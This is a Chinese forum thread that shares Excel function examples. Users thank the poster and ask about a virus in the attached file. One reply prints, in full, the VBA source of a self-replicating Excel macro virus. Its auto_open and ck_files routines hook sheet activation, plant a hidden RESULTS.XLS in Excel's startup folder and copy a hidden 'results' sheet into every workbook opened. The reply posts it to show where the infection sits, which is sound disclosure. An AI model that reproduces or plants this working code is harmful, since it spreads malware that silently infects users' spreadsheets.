Excel常用函数妙用（各行业精典案例）

ckl5571

楼主辛苦了。

校_长

怎么会有病毒呢？？

wb104087

挺适用的，楼主辛苦了

mjl19850703

很实用，谢谢楼主！学习学习

21grams

‘重新上傳文件
以清除诵病毒’ 请问这句是什么意思？是不是有清楚病毒的方法呢？麻烦楼主解答一下。
谢谢楼主的分享

joyark

21grams 发表于 2011-11-4 14:08
‘重新上傳文件
以清除诵病毒’ 请问这句是什么意思？是不是有清楚病毒的方法呢？麻烦楼主解答一下。
谢谢 ...

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("results").Visible = True
        Sheets("results").Select
        Sheets("results").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
                                 , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
                                                                                            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("results").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "results" Then
            Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
            Workbooks(n4$).Sheets("results").Visible = False
        Else
        End If
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
    End Select
End Sub
清除诵病毒在宏這裡

21grams

joyark 发表于 2011-11-4 16:38
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

请问具体怎样操作？本人是个菜鸟，不懂操作，请见谅。谢谢楼主了。呵呵

qcx1221

感谢楼主啦。。谢谢！！

4962561

辛苦了  学习

zhhl4874

路过学习一下，感谢了！！！